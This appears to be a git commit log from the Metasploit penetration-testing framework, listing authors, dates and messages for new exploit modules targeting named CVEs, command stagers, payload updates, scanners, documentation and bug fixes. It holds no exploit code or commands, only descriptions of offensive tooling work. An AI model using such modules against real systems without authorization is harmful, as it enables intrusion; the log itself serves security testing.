catatonicprime 17271f1046 Adding documentation, expanding failure cases. Always struggle in the last mile. Here we go. 2023-04-25 23:00:33 +00:00
Spencer McIntyre 2dc5a94ab7 Land #17926, Fix 64-bit pointer type
Update pointer type to support 64 bit calls
2023-04-25 16:20:43 -04:00
catatonicprime 1a823b05f1 Serve jar file for exploit. 2023-04-25 18:36:44 +00:00
Metasploit c9a9b998d2 automatic module_metadata_base.json update 2023-04-25 10:48:05 -05:00
dwelch-r7 10577cf1e4 Land #17913, Fix crash when running local exploit suggester 2023-04-25 16:31:59 +01:00
dwelch-r7 8f13040ce0 Land #17931, Fix deadlock regression when printing multiple lines to console 2023-04-25 16:31:27 +01:00
dwelch-r7 e646c0c6e2 Land #17930, Update attic issue text 2023-04-25 10:47:43 +01:00
h00die e7725e7b6d cve-2023-22809 2023-04-25 04:37:33 -04:00
adfoster-r7 6aad398e2b Update attic issue text 2023-04-25 00:42:10 +01:00
adfoster-r7 e7c05eabe3 Fix deadlock regression when printing multiple lines to console 2023-04-25 00:39:44 +01:00
Metasploit 447f36ee37 automatic module_metadata_base.json update 2023-04-24 17:25:57 -05:00
bwatters a8043adef0 Fix accidental copy/paste 2023-04-24 17:19:18 -05:00
bwatters 9215488d31 Update pointer type to support 64 bit calls 2023-04-24 17:14:50 -05:00
bwatters b052386700 Land #17921, resolve_sid: Add docs and resolve RuboCop violations
Merge branch 'land-17921' into upstream-master
2023-04-24 17:08:54 -05:00
vtoutain 3036b607b6 JSON output support
Added the prettyfied JSON output along with the CSV, refactored variables regarding the JSON contacts object.
2023-04-24 11:50:29 +02:00
vtoutain df6c2bf7eb Documentation update
Modified the layout according to reviews, updated scenarios output, and added the JSON example output.
2023-04-24 11:47:21 +02:00
vtoutain e565a8f962 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-24 11:44:52 +02:00
Grant Willcox 708da64a68 Add back in the require for dnsruby 2023-04-23 13:56:24 -05:00
catatonicprime 20109932fd Command injection PoC working. 2023-04-23 15:30:23 +00:00
bcoles 5a57ea131e resolve_sid: Add docs and resolve RuboCop violations 2023-04-23 17:39:32 +10:00
RageLtMan 3a4cb3560f shell_command_token_base get 0th output index 2023-04-22 18:00:44 -04:00
RageLtMan d797e5ec2c Simplify SSM shell output filtering 2023-04-22 17:18:21 -04:00
RageLtMan 5132302363 Filter control bytes from SSM output 2023-04-22 15:22:18 -04:00
RageLtMan 5b94077421 Merge remote-tracking branch 'origin/pr/38' into feature/aws_ssm_sessions 2023-04-22 15:20:46 -04:00
bcoles 538381bd4d shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE 2023-04-22 15:44:56 +10:00
h00die 076760e011 cve-2022-24716 2023-04-21 16:31:07 -04:00
h00die d6c2e4f528 cve-2022-24716 2023-04-21 16:27:52 -04:00
Spencer McIntyre 8c15c31b56 Fix paths for directory checks
The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.
2023-04-21 14:39:00 -04:00
Metasploit 0436e8bad9 automatic module_metadata_base.json update 2023-04-21 10:14:29 -05:00
space-r7 365b7c099c Land #17895, add Joomla api scanner 2023-04-21 09:50:24 -05:00
h00die-gr3y c39751094a Updates based on review comments 2023-04-21 11:46:53 +00:00
cgranleese-r7 eb4107b5e2 Fixes couchdb login bug 2023-04-21 10:14:22 +01:00
adfoster-r7 f35b9e4fa5 Fix crash when running local exploit suggester 2023-04-21 10:13:37 +01:00
adfoster-r7 0908c85f1b Land #17912, Bump payloads to 2.0.127 2023-04-21 09:38:17 +01:00
catatonicprime 253f4e54bc rough pseudo-coding 2023-04-21 03:53:03 +00:00
bwatters f1602dd772 Bump payloads to 2.0.127 2023-04-20 18:50:36 -05:00
h00die 17f674e3fa review comments 2023-04-20 16:23:52 -04:00
Metasploit 04df1ef7e8 Bump version of framework to 6.3.14 2023-04-20 12:11:36 -05:00
Metasploit b224fd3ff3 automatic module_metadata_base.json update 2023-04-20 10:47:02 -05:00
cgranleese-r7 896058a147 Land #17908, Update ftp login connect timeout option name 2023-04-20 16:23:42 +01:00
vtoutain d6e921c414 Version regex fix
The previous fix was not matching numbers at the end of the version like "-rc2".
2023-04-20 16:20:40 +02:00
vtoutain ea9019600a Version regex update
Used a less greedy version of the regex based on reviews, as well as the `version.blank?` pattern for improved readability.
2023-04-20 16:00:24 +02:00
vtoutain ecd56c7904 Check logic simplification
Moved most of the check logic inside the check function to make it easier to read.
2023-04-20 11:51:28 +02:00
h00die-gr3y 4131f1abf1 Fixed some bugs in module and added documentation 2023-04-20 08:23:55 +00:00
Spencer McIntyre 2e3a2b6f6d Combine AWS SSM modules, autodetect platform 2023-04-19 18:05:50 -04:00
Spencer McIntyre 59b3c0e945 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-19 18:05:50 -04:00
Spencer McIntyre a7d8bc6757 Fix sessions opening over and over again
Also make some code cleanups
2023-04-19 18:05:50 -04:00
Spencer McIntyre 15ff4875bc Combine AWS SSM modules, autodetect platform 2023-04-19 17:58:59 -04:00
dwelch-r7 f6c8181b7f Land #17909, Fix Windows7 Meterpreter crash when in debug mode 2023-04-19 17:57:00 +01:00
adfoster-r7 8e77b70c99 Fix Windows7 Meterpreter crash when in debug mode 2023-04-19 17:30:05 +01:00
vtoutain a2f3a719a9 Fixes from code reviews
Fixed some typos, took into account the comment from jvoisin to infer fields from the JSON reply, used fail_with as suggested by jheysel-r7, fixed a rubocop warning about a redundant begin block.
2023-04-19 11:45:03 +02:00
vtoutain d875741c87 Fixed documentation typos 2023-04-19 11:43:08 +02:00
vtoutain 35c7d3918d Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-19 11:24:37 +02:00
Metasploit 61cfd770ed automatic module_metadata_base.json update 2023-04-18 19:46:28 -05:00
bwatters 9c9eac28a7 Land #17874, VMware Workspace One Access mr_me Hekate LPE
Merge branch 'land-17874' into upstream-master
2023-04-18 19:29:39 -05:00
Metasploit ec025cbeda automatic module_metadata_base.json update 2023-04-18 18:26:39 -05:00
adfoster-r7 34a6980e5e Land #17907, Add VMware Workspace RCE added missing require statement 2023-04-19 00:12:59 +01:00
Metasploit 4cb9a4c142 automatic module_metadata_base.json update 2023-04-18 17:47:12 -05:00
adfoster-r7 246de78f85 Update ftp login connect timeout option name 2023-04-18 23:44:58 +01:00
Jack Heysel 9563466037 Land #17873, add ensure disconnect to ftp login
Add ensure disconnect to ftp login module and ftp timeout configuration
2023-04-18 18:31:12 -04:00
Jack Heysel bd286dd147 Added missing require builder statement 2023-04-18 18:10:46 -04:00
Jack Heysel de18ed438a Removed unnecessary require statement 2023-04-18 18:05:11 -04:00
Zach Goldman 898a9f2f3d add user mutability to connection timeout 2023-04-18 16:31:05 -05:00
Jack Heysel a2c23d18ef Added require builder statement 2023-04-18 16:01:14 -04:00
Jeffrey Martin 2de950c244 Weekly dependency updates for Gemfile.lock 2023-04-18 14:25:28 -05:00
h00die-gr3y de9cd59ea5 added pwd derivation and report credential function including updates based on review comments 2023-04-18 19:17:00 +00:00
Spencer McIntyre d8c8255120 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-18 14:07:04 -04:00
Spencer McIntyre 8ac5ae2a68 Fix sessions opening over and over again
Also make some code cleanups
2023-04-18 12:24:00 -04:00
Metasploit 40613a4741 automatic module_metadata_base.json update 2023-04-18 10:55:25 -05:00
cgranleese-r7 b65d3252e9 Land #17883, Fix crash for lotus domino hashes module when database not active 2023-04-18 16:38:47 +01:00
Metasploit 2eaa31c402 automatic module_metadata_base.json update 2023-04-18 10:17:44 -05:00
bwatters 6ae00877ed Land #17854, VMware Workspace One Access mr_me Hekate RCE
Merge branch 'land-17854' into upstream-master
2023-04-18 09:49:41 -05:00
adfoster-r7 1b72de063e Land #17903, Add missing fields when reading metadata cache 2023-04-18 11:48:05 +01:00
adfoster-r7 7eb799bc89 Land #17904, Remove active database check for module cache rebuild 2023-04-18 11:12:15 +01:00
Dean Welch 7667499011 Update comment and correctly format date 2023-04-18 11:06:19 +01:00
vtoutain e4ae9e0997 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-18 11:37:13 +02:00
dsecbypass 413082a4d6 Linting
Simplified version regex, fixed rubocop findings.
2023-04-18 11:24:14 +02:00
Dean Welch d17ab39748 Remove active database check for module cache rebuild 2023-04-17 23:55:37 +01:00
Dean Welch e874731781 Pull out autofilter_ports and autofilter_services from metadata cache 2023-04-17 23:45:19 +01:00
Jack Heysel 78e80f8e32 docs fix 2023-04-17 16:41:35 -04:00
Jack Heysel 162fe21659 Documentation copy pasta correction 2023-04-17 16:39:57 -04:00
jheysel-r7 d4b668e27b Update documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-04-17 16:36:31 -04:00
Metasploit e54d602d4c automatic module_metadata_base.json update 2023-04-17 14:56:35 -05:00
Jack Heysel db853f9a68 Land #17711, SPIP unauth RCE module
This module exploits a publically accessible endpoint in
SPIP that results in code execution in the context of the
user running the webapp (CVE-2023-27372).
2023-04-17 15:30:03 -04:00
jvoisin a4e1952da3 Add a module for the latest SPIP vuln 2023-04-17 13:41:03 -04:00
RageLtMan 97c0fa7411 Split CachedResolver to own file per jmartin-r7 2023-04-17 13:14:47 -04:00
dsecbypass a05aae3ebe Support remote database storage
It's better to pass the CSV string to store_loot directly instead of using nil and writing to the local file path ourself.
2023-04-17 17:24:59 +02:00
dwelch-r7 6984c6c7d4 Land #17884, Before running tests ensure database is migrated 2023-04-17 16:08:16 +01:00
Metasploit cf68410e0e automatic module_metadata_base.json update 2023-04-17 08:17:50 -05:00
adfoster-r7 dec705cc2a Land #17898, Adds support for attic label on issues 2023-04-17 13:55:20 +01:00
adfoster-r7 396a4b90cc Land #17892, update unified_remote_rce docs 2023-04-17 13:53:32 +01:00
dsecbypass 3b710293f5 Dolibarr 16 unauthenticated contact database dump
Auxiliary module and documentation.
2023-04-17 14:52:05 +02:00
cgranleese-r7 c1df987c0b Adds support for attic label on issues 2023-04-17 13:45:39 +01:00
sfewer-r7 e54774fd20 ensure SRVHOST is a routable IP 2023-04-17 13:01:30 +01:00
h00die 2c7d54da2f joomla api cve-2023-23752 with create_credential_and_login 2023-04-16 23:20:19 -04:00
h00die 32b6741cd8 joomla api cve-2023-23752 2023-04-16 22:54:54 -04:00
adfoster-r7 169d86e9ae Land #17893, move asan docs 2023-04-17 02:52:19 +01:00
h00die 37130e5a3d move asan docs 2023-04-16 10:19:43 -04:00
h00die 4b176c8ef5 fix unified_remote_rce docs 2023-04-16 10:11:01 -04:00
adfoster-r7 879f94571e Land #17888, Msf::Ui::Console::CommandDispatcher::Core: Fix 'help setg' output 2023-04-15 23:05:27 +01:00
bcoles 1e23dffc5b Msf::Ui::Console::CommandDispatcher::Core: Fix 'help setg' output 2023-04-15 20:35:15 +10:00
adfoster-r7 19c79bed18 Before running tests ensure database is migrated 2023-04-15 00:35:09 +01:00
adfoster-r7 71a058b555 Fix crash for lotus domino hashes module when database not active 2023-04-14 23:28:32 +01:00
Metasploit 66e58e395c automatic module_metadata_base.json update 2023-04-14 15:48:41 -05:00
Grant Willcox 246a69e897 Remove unneeded return statement after raising an exception 2023-04-14 15:28:17 -05:00
Grant Willcox da5a361d3f Remove extra require that wasn't needed with Zeitwerk 2023-04-14 15:28:17 -05:00
Grant Willcox 2d90bdcecb Fix up some YARD issues 2023-04-14 15:28:17 -05:00
RageLtMan db08c5df11 Address @gwilcox-r7's notes 2023-04-14 15:28:17 -05:00
RageLtMan 4be8cd3752 Annotate skip of Debian IPv6 hosts 2023-04-14 15:28:16 -05:00
Grant Willcox 89a564c378 Fix up YARD documentation to account for potential nil being returned 2023-04-14 15:28:16 -05:00
Grant Willcox b01b3a5ecd Fix typo that prevented entries from being cached 2023-04-14 15:28:16 -05:00
RageLtMan 9a23e63365 DNS Resolver Improvements
Handle proxy connection resets over TCP (common w/ ENUM_BRT & TOR).
Ensure qtype is a string before passing to cache.
2023-04-14 15:28:16 -05:00
RageLtMan 6039affe0d Address @gwilcox-r7's comments 2023-04-14 15:28:15 -05:00
RageLtMan da93c9440f Cleanup cache API 2023-04-14 15:28:15 -05:00
RageLtMan 3d49b4b429 Use ivar_set for answer setters 2023-04-14 15:28:15 -05:00
RageLtMan 513779fd3f Drop vestigial #validate_path calls 2023-04-14 15:28:15 -05:00
RageLtMan c4e29eaa94 Implement Caching DNS Resolver in Rex
Rex::Proto::DNS::Resolver is currently unable to approximate the
host OS' native resolver because:
1. It cannot cache responses and has to go out to its defined NS'
each time to query for the answers,
2. Because it is not aware of the system's hostsfile entries which
can result in leaks/mis-targeted execution, and a bunch of other
unpleasantly nuanced problems.

Address the concern by:
1. Creating a descendant CachedResolver class from
Rex::Proto::DNS::Resolver, with a #send method override which
performs cache query and population.
2. Moving the Cache class up one namespace to Rex::Proto::DNS and
updating the server accordingly.
3. Fixing the MATCH_HOSTNAME regex in Rex::Proto::DNS::Constants to
allow a short-name (vs FQDN) and creating a relevant MATCH_FQDN.

TODO:
1. Deal with adding search domains from the system to short-name
queries and records; if we decide this is a good idea (potential
for leaks).
2. Look at performance optimization for multiple concurrent queries
via singleton/refcounted/other optimized concurrent access patters.

Testing:
1. Pry-level tests of the objects edited/created in this PR. Needs
some runtime testing to QA.
2023-04-14 15:28:05 -05:00
Jack Heysel cda2e9610b Land #17820, optimising the nagiosxi modules
This PR refactors the authenticated nagiosxi modules and mixins..
2023-04-14 16:21:26 -04:00
Jack Heysel ace2f42387 Changed ranking to Good 2023-04-14 15:15:40 -04:00
Grant Willcox f9bbf32447 Land #17882, Update metasploit-payloads gem to 2.0.125 2023-04-14 11:58:41 -05:00
sfewer-r7 5d05754d9b update the AKB URL to reference the changed CVE 2023-04-14 17:44:38 +01:00
Spencer McIntyre afce19d378 Update metasploit-payloads gem to 2.0.125
Includes changes from:
* rapid7/metasploit-payloads#633
* rapid7/metasploit-payloads#625
2023-04-14 11:19:33 -04:00
sfewer-r7 e6211175b3 rename the files to the correct CVE 2023-04-14 15:52:13 +01:00
sfewer-r7 b5ea420760 On April 12 Adobe reclassified CVE-2023-26360 from an Improper Access Controll vuln to a Deserialization of Untrusted Data vuln. A private report has confirmed that CVE-2023-26359 is a similar yet seperate vuln, so I am changing the CVE associated with these two modules from CVE-2023-26359 to CVE-2023-26360 as we now beliee this is the correct CVE. 2023-04-14 15:49:10 +01:00
h00die-gr3y e0926890ab init commit module 2023-04-14 13:07:12 +00:00
h00die-gr3y 5584685f24 init commit module 2023-04-14 13:05:42 +00:00
dwelch-r7 2c8ad1f158 Land #17809, Add bootsnap for bootup performance 2023-04-14 14:01:12 +01:00
Jack Heysel b9cb33598c Resource script for automagically running LPE 2023-04-13 14:30:55 -04:00
Jack Heysel 08788d3d82 Update logging with rc script info 2023-04-13 14:28:15 -04:00
Metasploit fae910eb6b Bump version of framework to 6.3.13 2023-04-13 12:11:45 -05:00
sfewer-r7 b7f46aab99 split the CFC_METHOD_PARAMETERS by comma and not amperstand 2023-04-13 16:55:34 +01:00
Metasploit cc0a32cdda automatic module_metadata_base.json update 2023-04-13 10:45:19 -05:00
dwelch-r7 f9d5459a9c Land #17872, Ensure identify hashes helper is accessible to modules 2023-04-13 16:20:20 +01:00
sfewer-r7 90dacd00ab favor a staged meterpreter payload over the non staged payload as a default 2023-04-13 16:11:19 +01:00
sfewer-r7 8377cb7d6d group multiple suffixes with one call to end_with? 2023-04-13 16:00:30 +01:00
sfewer-r7 ae87f35944 fix two typos in documentation 2023-04-13 15:57:48 +01:00
Metasploit 7feeb25ee1 automatic module_metadata_base.json update 2023-04-13 09:27:49 -05:00
adfoster-r7 aef2b8d314 Land #17804, Fix incorrect module metadata CI and add validation automation 2023-04-13 15:11:46 +01:00
Metasploit 8cc6b88071 automatic module_metadata_base.json update 2023-04-12 19:47:46 -05:00
Grant Willcox d19c9e7732 Land #17867, fix always vulnerable in Auxiliary module surgenews_user_creds 2023-04-12 19:32:39 -05:00
Grant Willcox 0ed25cd2cc Fix RuboCop issues 2023-04-12 19:05:30 -05:00
adfoster-r7 7a4fc4b58b Land #17805, Disable Lint/UnusedMethodArgument as it can break YARD definitions 2023-04-13 00:29:19 +01:00
Metasploit 9194e66737 automatic module_metadata_base.json update 2023-04-12 17:20:28 -05:00
Grant Willcox 0e3a341ac9 Land #17864, Correct incorrect log format 2023-04-12 17:05:35 -05:00
Jack Heysel 30cf40a4f1 VMware Workspace One Acces LPE 2023-04-12 15:36:17 -04:00
Jack Heysel bc57131b73 Moving LPE to separate PR 2023-04-12 15:23:51 -04:00
Grant Willcox 7ad6c425c0 Set Lint/UnusedMethodArgument rule to apply to everything but lib/ folder 2023-04-12 11:31:28 -05:00
Zach Goldman 87c0faa73a Add ensure disconnect to ftp login module, ftp timeout configuration 2023-04-12 11:18:50 -05:00
cgranleese-r7 0dd8f94b31 Addresses PR comments 2023-04-12 14:21:07 +01:00
Metasploit fef3796d43 automatic module_metadata_base.json update 2023-04-12 07:46:05 -05:00
adfoster-r7 8e2169ed47 Ensure identify hashes helper is accessible to modules 2023-04-12 13:28:56 +01:00
adfoster-r7 e8365aba85 Land #17870, Fixes linting errors on SCTP payloads 2023-04-12 13:24:01 +01:00
dwelch-r7 275963eca2 Land #17353, Persist icpr cert as pkcs12 credential 2023-04-12 13:16:18 +01:00
sfewer-r7 43bfdcd6b4 improve the aux file read module; add a default CFC endpoint option and support servers configured with the non-default setting 'Enable Request Debugging Output' enabled. 2023-04-12 12:39:00 +01:00
Metasploit 4ed5c59cf2 automatic module_metadata_base.json update 2023-04-12 04:58:37 -05:00
Christophe De La Fuente a6b478e046 Land #17832, Two modules for UniRPC - CVE-2023-28502 and CVE-2023-28503 2023-04-12 11:43:13 +02:00
Metasploit 0a0b11491a automatic module_metadata_base.json update 2023-04-12 04:39:17 -05:00
cgranleese-r7 a313e36c1d Fixes linting errors on SCTP payloads 2023-04-12 10:24:19 +01:00
cgranleese-r7 e6c1aecd26 Land #17502, Adds SCTP Sessions 2023-04-12 10:15:43 +01:00
Ryuuuuu 585479474b fix bug which prints always vulnerable (change code suggested code by @bcoles) 2023-04-12 08:25:34 +00:00
Ryuuuuu e3983eac1f Correct incorrect log format 2023-04-12 13:04:13 +09:00
Ryuuuuu 29c24438a6 Correct incorrect log format when no files found 2023-04-12 13:01:49 +09:00
Ron Bowes 6119330e29 Update documentation to match current version of modules 2023-04-11 09:48:53 -07:00
Ron Bowes 7dc1faa689 Better error handling, and fix version detection 2023-04-11 09:34:24 -07:00
Christophe De La Fuente 59ff65d58d Land #17821, DBManager: Import: Add Nuclei JSON database import 2023-04-11 17:51:22 +02:00
adfoster-r7 875ad34b62 Persist icpr cert as pkcs12 credential
Update creds command to support pkcs12
2023-04-11 16:25:25 +01:00
sfewer-r7 375d9b34f1 make on_request_uri compatible with both command staget and teh generic java target 2023-04-11 14:25:07 +01:00
adfoster-r7 b01e3ca324 Land #17858, Update metasploit-payloads gem to 2.0.123 2023-04-11 14:08:12 +01:00
sfewer-r7 0022d0b8c3 Merge branch 'CVE-2023-26359-java-payload' into CVE-2023-26359 2023-04-11 13:59:37 +01:00
adfoster-r7 b9f3d2b1d5 Land #17862, Msf::Payload::Apk: Bump apktool minimum required version to 2.7.0 2023-04-11 13:23:19 +01:00
sfewer-r7 0af2f00ca0 URI decode the (optional) CFC_METHOD_PARAMETER param names and values, as they will be encoded again during send_request_cgi. 2023-04-11 12:42:29 +01:00
sfewer-r7 1dc8eb2802 remove linemax option from execute_cmdstager as it was artifact from testing and is not needed here 2023-04-11 12:14:28 +01:00
sfewer-r7 296fd6fec7 add in bourne and printf command stager flavors for Linux target 2023-04-11 12:07:49 +01:00
sfewer-r7 70018f7543 add psh_invokewebrequest as a command stager flavor for Windows 2023-04-11 11:57:39 +01:00
sfewer-r7 5c1057dd58 use the rails method blank? here to check for both nil and empty 2023-04-11 11:48:27 +01:00
sfewer-r7 657c1446c4 dont check these datastore options for empty? as the default values will either be set or an empty value will be detected during configuration validation 2023-04-11 11:41:55 +01:00
sfewer-r7 fa1e7ae016 close all CMFL tags and chain the getRuntime and exec calls for berevity 2023-04-11 11:22:13 +01:00
bcoles 3b7cf035ea DBManager: Import: Add Nuclei JSON database import 2023-04-10 22:22:19 +10:00
bcoles 8525849763 Msf::Payload::Apk: Bump apktool minimum required version to 2.7.0 2023-04-10 21:07:25 +10:00
Jack Heysel a2d2946007 Rubocop 2023-04-07 13:53:12 -04:00
Jack Heysel 18170babc2 Fix RCE payloads and add autorunscript 2023-04-07 13:35:16 -04:00
Ron Bowes 1a8671311d Move the offsets into a field separate from 'targets' 2023-04-07 10:26:56 -07:00
Ron Bowes 02072418f0 Expand the comment about why we're checking for \xff (since it can't appear in the payload) 2023-04-07 10:10:13 -07:00
Spencer McIntyre eec0e71dd7 Update metasploit-payloads gem to 2.0.123
Includes changes from:
* rapid7/metasploit-payloads#628
2023-04-07 10:45:14 -04:00
Jack Heysel 056b0a0e8b LPE and doc updates 2023-04-07 10:41:10 -04:00
Metasploit 599c8609a7 automatic module_metadata_base.json update 2023-04-07 08:47:12 -05:00
adfoster-r7 42902bb5e5 Land #17851, fix check function which always prints vulnerable 2023-04-07 14:24:45 +01:00
Jack Heysel 665ba4aece Add additional target 2023-04-06 23:41:36 -04:00
Ryuuuuu 9985538846 Update modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
fix nil exception

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-04-07 09:55:00 +09:00
Jack Heysel 79d4021f31 Replaced janky XML building 2023-04-06 14:58:05 -04:00
Jack Heysel 544fb8ead6 Removed unecessary start_service proc 2023-04-06 14:26:02 -04:00
Ron Bowes ce111f158a Better error handling 2023-04-06 10:35:33 -07:00
Jack Heysel d92fc41d29 Print out what command fails when attempting RCE 2023-04-06 13:31:17 -04:00
Jack Heysel 4984a3e2d3 Edit check method to raise errors instead of returning boolean 2023-04-06 13:25:20 -04:00
Metasploit 261fc5227d Bump version of framework to 6.3.12 2023-04-06 12:13:28 -05:00
sfewer-r7 b05c9c6303 add a generic java target 2023-04-06 17:29:50 +01:00
Metasploit 3c7c2f1fbe automatic module_metadata_base.json update 2023-04-06 11:27:31 -05:00
adfoster-r7 d08fa00c06 Land #17458, Weblogic t3s support 2023-04-06 17:13:16 +01:00
Steve E 67b98b5120 merge tested exploits 2023-04-06 15:42:39 +01:00
sfewer-r7 43fe41bea5 RCE exploit for CVE-2023-26359 and an auxiliary module for arbitrary file read via the same vuln. 2023-04-06 14:02:01 +01:00
Steve E f0189cc886 revert another get_once 2023-04-06 11:43:50 +01:00
Steve E 656c562816 Added notes, revert to get_once 2023-04-06 11:01:32 +01:00
Steve Embling cc79fe039a Merge branch 'rapid7:master' into weblogic-t3s-support 2023-04-06 10:38:29 +01:00
Jack Heysel b7456e20d5 VMware Workspace One Access mr_me Hekate exploit 2023-04-05 23:10:34 -04:00
Ron Bowes 523931aa4c Change target options for stack overflow exploit 2023-04-05 15:24:49 -07:00
Ron Bowes c345fe78b8 Fix up error handling and other comments from the PR 2023-04-05 15:13:35 -07:00
Ron Bowes c07ca83d6c Fix the metadata and add an in-memory target 2023-04-05 14:07:12 -07:00
Ron Bowes 04a9ae7335 Add check methods 2023-04-05 10:55:28 -07:00
Ron Bowes c22c2904c2 Fix msftidy_docs stuff 2023-04-05 10:53:58 -07:00
cgranleese-r7 e004be00fe Converted to Active Support 2023-04-05 16:53:01 +01:00
Metasploit 452daf0b64 automatic module_metadata_base.json update 2023-04-05 10:10:02 -05:00
Christophe De La Fuente 5d63175b56 Land #17823, php_cgi_arg_injection: Fix check regex match to detect code html tag 2023-04-05 16:44:52 +02:00
adfoster-r7 653234e1d0 Add bootsnap for bootup performance 2023-04-04 10:35:53 +01:00
cgranleese-r7 818046c6dd wip 2023-04-04 10:27:15 +01:00
cgranleese-r7 769e2e760c stop point 2023-04-04 10:27:15 +01:00
cgranleese-r7 c3a7da54d5 reduces code duplication 2023-04-04 10:27:11 +01:00
cgranleese-r7 40e6917b7f tests passing 2023-04-04 10:24:09 +01:00
Ryuuuuu 8b3d799104 fix check function which always prints vulnerable 2023-04-04 10:07:06 +09:00
adfoster-r7 05d9e7f9d6 Land #17842, Update docs for cmdstager 2023-04-03 21:33:01 +01:00
bwatters 917bbbc9e0 fix tagging issue 2023-04-03 15:06:26 -05:00
bwatters c93a4d0e30 So we don't actually use an http server when we use cmdstager::flavor certutil 2023-04-03 15:06:26 -05:00
bwatters 2a0221a7ed Attempt to update and clarify cmdstager docs 2023-04-03 15:06:26 -05:00
cgranleese-r7 2de5d4324f Land #17849, Update docs to use links for Github handles 2023-04-03 17:21:23 +01:00
adfoster-r7 7058d4c8ad Land #17838, Railgun documentation updates 2023-04-03 17:09:33 +01:00
Spencer McIntyre 9af0f5ca0c Railgun documentation updates 2023-04-03 09:31:30 -04:00
Metasploit a6159ccda5 automatic module_metadata_base.json update 2023-04-03 06:17:46 -05:00
adfoster-r7 f7cee703ce Land #17835, cisco_dcnm_auth_bypass: Fix TARGETURI URL normalization 2023-04-03 11:47:56 +01:00
adfoster-r7 728e1f1ea2 Land #17836, Add session.platform example to post module docs 2023-04-03 11:45:11 +01:00
adfoster-r7 2b90337947 Land #17844, fix broken module references 2023-04-03 11:34:13 +01:00
adfoster-r7 ffea12fe2c Land #17837, AutoCheck documentation 2023-04-03 11:31:35 +01:00
adfoster-r7 a853efb05f Land #17840, Add notes section to exploit template 2023-04-03 11:28:48 +01:00
adfoster-r7 c12ef82d35 Land #17841, Update Assigning-Labels doc 2023-04-03 10:49:46 +01:00
Christophe De La Fuente 057fd1b74b Remove instance variables from example code 2023-04-03 11:30:03 +02:00
adfoster-r7 b3d4812416 Update docs to use links for github handles 2023-04-03 10:29:51 +01:00
SubcomandanteMeowcos a54f3d4707 fix broken module references
doing these "by domain" now, piecemeal.

this PR fixes all broken references to the "insecurety" website, which is long dead.
2023-04-01 05:17:02 -07:00
manishkumarr1017 812d3c7f35 PR Review Changes for optimizing the nagiosxi modules 2023-04-01 14:28:37 +05:30
Jack Heysel 18cfc42cb0 Update assigning labels doc 2023-03-31 16:21:12 -04:00
jheysel-r7 e112c9b610 Update docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-03-31 14:54:20 -04:00
Jack Heysel 51fb3335c7 Removed unnecessary changes 2023-03-31 14:40:30 -04:00
Jack Heysel b82bb572ca Add notes section to exploit template 2023-03-31 14:35:06 -04:00
Christophe De La Fuente a95ae383d0 Add cleanup doc 2023-03-31 19:56:16 +02:00
Christophe De La Fuente 6fdbc0b903 Add AutoCheck mixin doc 2023-03-31 18:25:57 +02:00
Jack Heysel c41d44ac3c Add session.platform example 2023-03-31 11:22:01 -04:00
bcoles 2711ba4b3a cisco_dcnm_auth_bypass: Fix TARGETURI URL normalization 2023-03-31 23:53:41 +11:00
dwelch-r7 eb12cfec05 Land #17778, Update brocade tests to pass locally 2023-03-31 10:51:31 +01:00
Metasploit 3aabb738bf Bump version of framework to 6.3.11 2023-03-30 12:10:12 -05:00
Metasploit fd4be04e28 automatic module_metadata_base.json update 2023-03-30 11:58:43 -05:00
Jack Heysel 15d267a233 Land #17826, post module for CVE-2023-21768
This adds an exploit module for CVE-2023-21768 that
achieves local privilege escalation on Windows 11 2H22.
2023-03-30 12:27:28 -04:00
dwelch-r7 f40e843b4e Land #17833, Add check metadata to rpc module info 2023-03-30 17:08:04 +01:00
jheysel-r7 152ef4a86b Update modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb 2023-03-30 11:28:46 -04:00
jheysel-r7 6f400052b1 Update modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb 2023-03-30 11:00:55 -04:00
Metasploit 6111d55504 automatic module_metadata_base.json update 2023-03-30 08:29:58 -05:00
dwelch-r7 ab08cd2d1c Land #17753, Update get_ticket to support using forged golden tickets 2023-03-30 14:15:48 +01:00
adfoster-r7 c926f4961b Add check metadata to rpc module info 2023-03-30 10:24:31 +01:00
Metasploit 6f89d94759 automatic module_metadata_base.json update 2023-03-29 12:46:31 -05:00
space-r7 1f32004901 Land #17813, ssh_enumusers set CHECK_FALSE to true 2023-03-29 12:31:31 -05:00
Ron Bowes 7cb6213334 Fix an msftidy error 2023-03-29 09:56:04 -07:00
Ron Bowes 54ed192401 Add URLs 2023-03-29 08:10:52 -07:00
Ron Bowes 4cab9b1a34 Make rubocop happy 2023-03-29 08:05:05 -07:00
Ron Bowes 41fe44ef1a Merge branch 'master' into unirpc-auth-bypass 2023-03-29 08:03:05 -07:00
Ron Bowes 6897be4b01 Add two Metasploit modules for UniData vulnerabilities 2023-03-29 08:01:50 -07:00
Metasploit 51ea787f69 automatic module_metadata_base.json update 2023-03-29 09:49:46 -05:00
space-r7 9cd024a7a2 Land #17828, add AMQP login scanner module 2023-03-29 09:24:48 -05:00
adfoster-r7 0a559bfded Land #17704, Apache Solr RCE via Velocity Template: Attempt fix for NoMethodError when exploiting 2023-03-29 15:12:04 +01:00
adfoster-r7 e1ecdac2a5 Land #17724, Add ticket checksum to kerberos ticket creation 2023-03-29 09:01:39 +01:00
space-r7 72ec93d27a Land #17827, add AMQP version scanner module 2023-03-28 16:00:42 -05:00
adfoster-r7 aaa36e2651 Land #17831, Fix dead reference links in rpc_cmsd_opcode21.rb 2023-03-28 19:38:46 +01:00
